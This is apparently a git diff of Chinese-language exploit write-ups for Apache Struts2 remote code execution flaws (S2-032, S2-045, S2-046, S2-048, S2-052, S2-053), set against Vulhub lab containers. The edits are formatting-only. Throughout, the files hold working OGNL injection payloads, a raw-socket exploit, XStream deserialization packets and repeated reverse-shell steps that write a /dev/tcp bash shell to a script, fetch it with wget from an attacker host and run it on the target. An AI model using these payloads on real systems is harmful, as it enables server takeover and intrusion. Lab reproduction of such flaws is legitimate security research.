``` ```
bash /usr/local/tomcat/shell.sh bash /usr/local/tomcat/shell.sh
``` ```
执行shell.sh文件的Payload为 执行 shell.sh 文件的 Payload 为:
``` ```
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("bash /usr/local/tomcat/shell.sh").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()} redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("bash /usr/local/tomcat/shell.sh").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
``` ```
成功接收反弹shell 成功接收反弹 shell
![image-20220301191527452](images/202203011915539.png) ![image-20220301191527452](images/202203011915539.png)
## 漏洞EXP ## 漏洞 EXP
```python ```python
#!/usr/bin/python #!/usr/bin/python
@ -300,4 +300,3 @@ else:
print(RED+" Debe Ingresar una Url\n"+ENDC) print(RED+" Debe Ingresar una Url\n"+ENDC)
exit(0) exit(0)
``` ```

View File

@ -1,8 +1,8 @@
# Struts2 S2-032 远程代码执行漏洞 CVE-2016-3081 # Apache Struts2 S2-032 远程代码执行漏洞 CVE-2016-3081
## 漏洞描述 ## 漏洞描述
Struts2在开启了动态方法调用Dynamic Method Invocation的情况下可以使用`method:<name>`的方式来调用名字是`<name>`的方法而这个方法名将会进行OGNL表达式计算导致远程命令执行漏洞。 Struts2 在开启了动态方法调用Dynamic Method Invocation的情况下可以使用 `method:<name>` 的方式来调用名字是 `<name>` 的方法,而这个方法名将会进行 OGNL 表达式计算,导致远程命令执行漏洞。
漏洞详情: 漏洞详情:
@ -15,18 +15,18 @@ Struts2在开启了动态方法调用Dynamic Method Invocation的情况下
## 环境搭建 ## 环境搭建
Vulhub执行以下命令启动s2-032测试环境 Vulhub 执行以下命令启动 s2-032 测试环境:
``` ```
docker-compose build docker-compose build
docker-compose up -d docker-compose up -d
``` ```
环境启动后,访问`http://your-ip:8080`即可看到默认页面。 环境启动后,访问 `http://your-ip:8080` 即可看到默认页面。
## 漏洞复现 ## 漏洞复现
直接请求如下URL即可执行`id`命令: 直接请求如下 URL即可执行 `id` 命令:
``` ```
http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
@ -34,39 +34,39 @@ http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEF
![image-20220302104528043](images/202203021045198.png) ![image-20220302104528043](images/202203021045198.png)
### 反弹shell ### 反弹 shell
编写shell脚本并启动http服务器 编写 shell 脚本并启动 http 服务器:
``` ```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下python -m http.server 80 python3环境下python -m http.server 80
``` ```
上传shell.sh文件的命令为 上传 shell.sh 文件的命令为:
``` ```
wget 192.168.174.128/shell.sh wget 192.168.174.128/shell.sh
``` ```
上传shell.sh文件的Payload为 上传 shell.sh 文件的 Payload 为:
``` ```
http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=wget%20192.168.174.128/shell.sh http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=wget%20192.168.174.128/shell.sh
``` ```
执行shell.sh文件的命令为 执行 shell.sh 文件的命令为:
``` ```
bash shell.sh bash shell.sh
``` ```
执行shell.sh文件的Payload为 执行 shell.sh 文件的 Payload 为:
``` ```
http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=bash%shell.sh http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=bash%shell.sh
``` ```
成功接收反弹shell 成功接收反弹 shell
![image-20220302104814120](images/202203021048206.png) ![image-20220302104814120](images/202203021048206.png)

View File

@ -1,8 +1,8 @@
# Struts2 S2-045 远程代码执行漏洞 CVE-2017-5638 # Apache Struts2 S2-045 远程代码执行漏洞 CVE-2017-5638
## 漏洞描述 ## 漏洞描述
基于Jakarta Multipart parser的文件上传模块在处理文件上传multipart的请求时候对异常信息做了捕获并对异常信息做了OGNL表达式处理。但在在判断content-type不正确的时候会抛出异常并且带上Content-Type属性值可通过精心构造附带OGNL表达式的URL导致远程代码执行。 基于 Jakarta Multipart parser 的文件上传模块在处理文件上传multipart的请求时候对异常信息做了捕获并对异常信息做了 OGNL 表达式处理。但在在判断 content-type 不正确的时候会抛出异常并且带上 Content-Type 属性值,可通过精心构造附带 OGNL 表达式的 URL 导致远程代码执行。
漏洞详情: 漏洞详情:
@ -16,18 +16,18 @@
## 环境搭建 ## 环境搭建
Vulhub执行以下命令启动s2-045测试环境 Vulhub 执行以下命令启动 s2-045 测试环境:
``` ```
docker-compose build docker-compose build
docker-compose up -d docker-compose up -d
``` ```
环境启动后,访问`http://your-ip:8080`即可看到上传页面。 环境启动后,访问 `http://your-ip:8080` 即可看到上传页面。
## 漏洞复现 ## 漏洞复现
直接发送如下数据包,可见`233*233`已成功执行: 直接发送如下数据包,可见 `233*233` 已成功执行:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
@ -43,44 +43,44 @@ Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse
![image-20220302105331785](images/202203021053925.png) ![image-20220302105331785](images/202203021053925.png)
### 反弹shell ### 反弹 shell
编写shell脚本并启动http服务器 编写 shell 脚本并启动 http 服务器:
``` ```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下python -m http.server 80 python3环境下python -m http.server 80
``` ```
上传shell.sh文件的命令为 上传 shell.sh 文件的命令为:
``` ```
wget 192.168.174.128/shell.sh wget 192.168.174.128/shell.sh
``` ```
通过漏洞EXP执行以上命令 通过漏洞 EXP 执行以上命令:
![image-20220302111158570](images/202203021111745.png) ![image-20220302111158570](images/202203021111745.png)
执行shell.sh文件的命令为 执行 shell.sh 文件的命令为:
``` ```
bash shell.sh bash shell.sh
``` ```
通过漏洞EXP执行以上命令 通过漏洞 EXP 执行以上命令:
![image-20220302111235165](images/202203021112259.png) ![image-20220302111235165](images/202203021112259.png)
成功接收反弹shell 成功接收反弹 shell
![image-20220302111248221](images/202203021112328.png) ![image-20220302111248221](images/202203021112328.png)
## 漏洞EXP ## 漏洞 EXP
### EXP 1 ### EXP 1
参考[struts-pwn](https://github.com/mazen160/struts-pwn) 参考 [struts-pwn](https://github.com/mazen160/struts-pwn)
```python ```python
#!/usr/bin/env python3 #!/usr/bin/env python3
@ -499,4 +499,3 @@ else:
print(RED+" Debe Ingresar una Url\n"+ENDC) print(RED+" Debe Ingresar una Url\n"+ENDC)
exit(0) exit(0)
``` ```

View File

@ -1,4 +1,4 @@
# Struts2 S2-046 远程代码执行漏洞 CVE-2017-5638 # Apache Struts2 S2-046 远程代码执行漏洞 CVE-2017-5638
## 漏洞描述 ## 漏洞描述
@ -13,20 +13,20 @@
## 环境搭建 ## 环境搭建
Vulhub执行以下命令启动s2-046测试环境 Vulhub 执行以下命令启动 s2-046 测试环境:
``` ```
docker-compose build docker-compose build
docker-compose up -d docker-compose up -d
``` ```
环境启动后,访问`http://your-ip:8080`即可看到上传页面。 环境启动后,访问 `http://your-ip:8080` 即可看到上传页面。
## 漏洞复现 ## 漏洞复现
与s2-045类似但是输入点在文件上传的filename值位置并需要使用`\x00`截断。 s2-045 类似,但是输入点在文件上传的 filename 值位置,并需要使用 `\x00` 截断。
由于需要发送畸形数据包我们简单使用原生socket编写payload 由于需要发送畸形数据包,我们简单使用原生 socket 编写 payload
```python ```python
import socket import socket
@ -54,11 +54,10 @@ with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
print(conn.recv(10240).decode()) print(conn.recv(10240).decode())
``` ```
`233*233`已成功执行: `233*233` 已成功执行:
![image-20220302112052286](images/202203021120362.png) ![image-20220302112052286](images/202203021120362.png)
### 反弹shell ### 反弹 shell
详情参考《Struts2 S2-045 远程代码执行漏洞 CVE-2017-5638》中的漏洞EXP。
详情参考《Struts2 S2-045 远程代码执行漏洞 CVE-2017-5638》中的漏洞 EXP。

View File

@ -1,4 +1,4 @@
# Struts2 S2-048 远程代码执行漏洞 # Apache Struts2 S2-048 远程代码执行漏洞
## 漏洞描述 ## 漏洞描述
@ -14,28 +14,28 @@
## 环境搭建 ## 环境搭建
Vulhub执行以下命令启动s2-048测试环境 Vulhub 执行以下命令启动 s2-048 测试环境:
``` ```
docker-compose build docker-compose build
docker-compose up -d docker-compose up -d
``` ```
环境是直接下载的struts-2.3.32的showcase部署在tomcat-8.5下。环境启动后,访问`http://your-ip:8080/showcase/`即可查看到struts2的测试页面。 环境是直接下载的 struts-2.3.32 showcase部署在 tomcat-8.5 下。环境启动后,访问 `http://your-ip:8080/showcase/` 即可查看到 struts2 的测试页面。
## 漏洞复现 ## 漏洞复现
访问Integration/Struts 1 Integration 访问 Integration/Struts 1 Integration
![image-20220302112924516](images/202203021129614.png) ![image-20220302112924516](images/202203021129614.png)
触发OGNL表达式的位置是`Gangster Name`这个表单。 触发 OGNL 表达式的位置是 `Gangster Name` 这个表单。
输入`${233*233}`即可查看执行结果(剩下两个表单随意填写): 输入 `${233*233}` 即可查看执行结果(剩下两个表单随意填写):
![image-20220302113012978](images/202203021130080.png) ![image-20220302113012978](images/202203021130080.png)
借用S2-045的沙盒绕过方法改了一个POC。将如下POC填入表单`Gengster Name`中,提交即可直接回显命令执行的结果: 借用 S2-045 的沙盒绕过方法改了一个 POC。将如下 POC 填入表单 `Gengster Name` 中,提交即可直接回显命令执行的结果:
``` ```
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)} %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
@ -43,7 +43,7 @@ docker-compose up -d
![image-20220302113039046](images/202203021130143.png) ![image-20220302113039046](images/202203021130143.png)
当然也可以直接用s2-045的POC需要在Burp下进行测试 当然,也可以直接用 s2-045 POC需要在 Burp 下进行测试):
``` ```
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
@ -51,24 +51,24 @@ docker-compose up -d
![image-20220302113241603](images/202203021132734.png) ![image-20220302113241603](images/202203021132734.png)
### 反弹shell ### 反弹 shell
使用s2-045的POC进行反弹shell。 使用 s2-045 POC 进行反弹 shell。
编写shell脚本并启动http服务器 编写 shell 脚本并启动 http 服务器:
``` ```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下python -m http.server 80 python3环境下python -m http.server 80
``` ```
上传shell.sh文件的命令为 上传 shell.sh 文件的命令为:
``` ```
wget 192.168.174.128/shell.sh wget 192.168.174.128/shell.sh
``` ```
上传shell.sh文件的Payload为还需要进行URL编码 上传 shell.sh 文件的 Payload 为(还需要进行 URL 编码):
``` ```
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='wget 192.168.174.128/shell.sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='wget 192.168.174.128/shell.sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
@ -76,18 +76,18 @@ wget 192.168.174.128/shell.sh
![image-20220302113326283](images/202203021133401.png) ![image-20220302113326283](images/202203021133401.png)
执行shell.sh文件的命令为 执行 shell.sh 文件的命令为:
``` ```
bash shell.sh bash shell.sh
``` ```
执行shell.sh文件的Payload为还需要进行URL编码 执行 shell.sh 文件的 Payload 为(还需要进行 URL 编码):
``` ```
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash shell.sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash shell.sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
``` ```
成功接收反弹shell 成功接收反弹 shell
![image-20220302113402853](images/202203021134938.png) ![image-20220302113402853](images/202203021134938.png)

View File

@ -1,18 +1,18 @@
# Struts2 S2-052 远程代码执行漏洞 CVE-2017-9805 # Apache Struts2 S2-052 远程代码执行漏洞 CVE-2017-9805
## 漏洞描述 ## 漏洞描述
Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件其根据Content-Type或URI扩展名来判断用户传入的数据包类型有如下映射表 Struts2-Rest-Plugin 是让 Struts2 能够实现 Restful API 的一个插件,其根据 Content-Type URI 扩展名来判断用户传入的数据包类型,有如下映射表:
| 扩展名 | Content-Type | 解析方法 | | 扩展名 | Content-Type | 解析方法 |
| ------ | --------------------------------- | ---------------------- | | ------ | --------------------------------- | ---------------------- |
| xml | application/xml | xstream | | xml | application/xml | xstream |
| json | application/json | jsonlib或jackson(可选) | | json | application/json | jsonlib jackson(可选) |
| xhtml | application/xhtml+xml | 无 | | xhtml | application/xhtml+xml | 无 |
| 无 | application/x-www-form-urlencoded | 无 | | 无 | application/x-www-form-urlencoded | 无 |
| 无 | multipart/form-data | 无 | | 无 | multipart/form-data | 无 |
jsonlib无法引入任意对象而xstream在默认情况下是可以引入任意对象的针对1.5.x以前的版本方法就是直接通过xml的tag name指定需要实例化的类名 jsonlib 无法引入任意对象,而 xstream 在默认情况下是可以引入任意对象的(针对 1.5.x 以前的版本),方法就是直接通过 xml tag name 指定需要实例化的类名:
``` ```
<classname></classname> <classname></classname>
@ -20,7 +20,7 @@ jsonlib无法引入任意对象而xstream在默认情况下是可以引入任
<paramname class="classname"></paramname> <paramname class="classname"></paramname>
``` ```
所以我们可以通过反序列化引入任意类造成远程命令执行漏洞只需要找到一个在Struts2库中适用的gedget。 所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在 Struts2 库中适用的 gedget。
漏洞详情: 漏洞详情:
@ -33,18 +33,18 @@ jsonlib无法引入任意对象而xstream在默认情况下是可以引入任
## 环境搭建 ## 环境搭建
Vulhub执行以下命令启动s2-052测试环境 Vulhub 执行以下命令启动 s2-052 测试环境:
``` ```
docker-compose build docker-compose build
docker-compose up -d docker-compose up -d
``` ```
启动环境后,访问`http://your-ip:8080/orders.xhtml`即可看到showcase页面。 启动环境后,访问 `http://your-ip:8080/orders.xhtml` 即可看到 showcase 页面。
## 漏洞复现 ## 漏洞复现
由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml即可在Body中传递XML数据。 由于 rest-plugin 会根据 URI 扩展名或 Content-Type 来判断解析方法,所以我们只需要修改 orders.xhtml orders.xml 或修改 Content-Type 头为 application/xml即可在 Body 中传递 XML 数据。
所以,最后发送的数据包为: 所以,最后发送的数据包为:
@ -115,26 +115,26 @@ Content-Length: 2415
</map> </map>
``` ```
以上数据包成功执行的话会在docker容器内创建文件`/tmp/awesome_poc`,执行`docker-compose exec struts2 ls /tmp/`即可看到。 以上数据包成功执行的话,会在 docker 容器内创建文件 `/tmp/awesome_poc`,执行 `docker-compose exec struts2 ls /tmp/` 即可看到。
![image-20220302131557533](images/202203021315609.png) ![image-20220302131557533](images/202203021315609.png)
### 反弹shell ### 反弹 shell
编写shell脚本并启动http服务器 编写 shell 脚本并启动 http 服务器:
``` ```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下python -m http.server 80 python3环境下python -m http.server 80
``` ```
上传shell.sh文件的命令为 上传 shell.sh 文件的命令为:
``` ```
wget 192.168.174.128/shell.sh wget 192.168.174.128/shell.sh
``` ```
上传shell.sh文件的Payload为 上传 shell.sh 文件的 Payload 为:
``` ```
<iter class="java.util.Collections$EmptyIterator"/> <iter class="java.util.Collections$EmptyIterator"/>
@ -148,13 +148,13 @@ wget 192.168.174.128/shell.sh
</iter> </iter>
``` ```
执行shell.sh文件的命令为 执行 shell.sh 文件的命令为:
``` ```
bash shell.sh bash shell.sh
``` ```
执行shell.sh文件的Payload为 执行 shell.sh 文件的 Payload 为:
``` ```
<iter class="java.util.Collections$EmptyIterator"/> <iter class="java.util.Collections$EmptyIterator"/>
@ -168,11 +168,11 @@ bash shell.sh
</iter> </iter>
``` ```
成功接收反弹shell 成功接收反弹 shell
![image-20220302131702195](images/202203021317286.png) ![image-20220302131702195](images/202203021317286.png)
## 漏洞EXP ## 漏洞 EXP
```python ```python
#!/usr/bin/env python3 #!/usr/bin/env python3
@ -502,4 +502,3 @@ if __name__ == '__main__':
print('Exiting...') print('Exiting...')
exit(0) exit(0)
``` ```

View File

@ -1,4 +1,4 @@
# Struts2 S2-053 远程代码执行漏洞 # Apache Struts2 S2-053 远程代码执行漏洞
## 漏洞描述 ## 漏洞描述
@ -13,20 +13,20 @@
## 环境搭建 ## 环境搭建
Vulhub执行以下命令启动s2-053测试环境 Vulhub 执行以下命令启动 s2-053 测试环境:
``` ```
docker-compose build docker-compose build
docker-compose up -d docker-compose up -d
``` ```
环境运行后,访问`http://your-ip:8080/hello.action`即可看到一个提交页面。 环境运行后,访问 `http://your-ip:8080/hello.action` 即可看到一个提交页面。
## 漏洞复现 ## 漏洞复现
Struts2在使用Freemarker模板引擎的时候同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析但由于被Freemarker解析一次后变成离开一个表达式被OGNL解析第二次导致任意命令执行漏洞。 Struts2 在使用 Freemarker 模板引擎的时候,同时允许解析 OGNL 表达式。导致用户输入的数据本身不会被 OGNL 解析,但由于被 Freemarker 解析一次后变成离开一个表达式,被 OGNL 解析第二次,导致任意命令执行漏洞。
输入如下Payload即可成功执行命令注意Payload末尾有一个换行 输入如下 Payload 即可成功执行命令(注意 Payload 末尾有一个换行):
``` ```
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))} %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
@ -35,35 +35,35 @@ Struts2在使用Freemarker模板引擎的时候同时允许解析OGNL表达
![image-20220302132454688](images/202203021324760.png) ![image-20220302132454688](images/202203021324760.png)
### 反弹shell ### 反弹 shell
编写shell脚本并启动http服务器 编写 shell 脚本并启动 http 服务器:
``` ```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下python -m http.server 80 python3环境下python -m http.server 80
``` ```
上传shell.sh文件的命令为 上传 shell.sh 文件的命令为:
``` ```
wget 192.168.174.128/shell.sh wget 192.168.174.128/shell.sh
``` ```
上传shell.sh文件的Payload为 上传 shell.sh 文件的 Payload 为:
![image-20220302132524059](images/202203021325134.png) ![image-20220302132524059](images/202203021325134.png)
执行shell.sh文件的命令为 执行 shell.sh 文件的命令为:
``` ```
bash shell.sh bash shell.sh
``` ```
执行shell.sh文件的Payload为 执行 shell.sh 文件的 Payload 为:
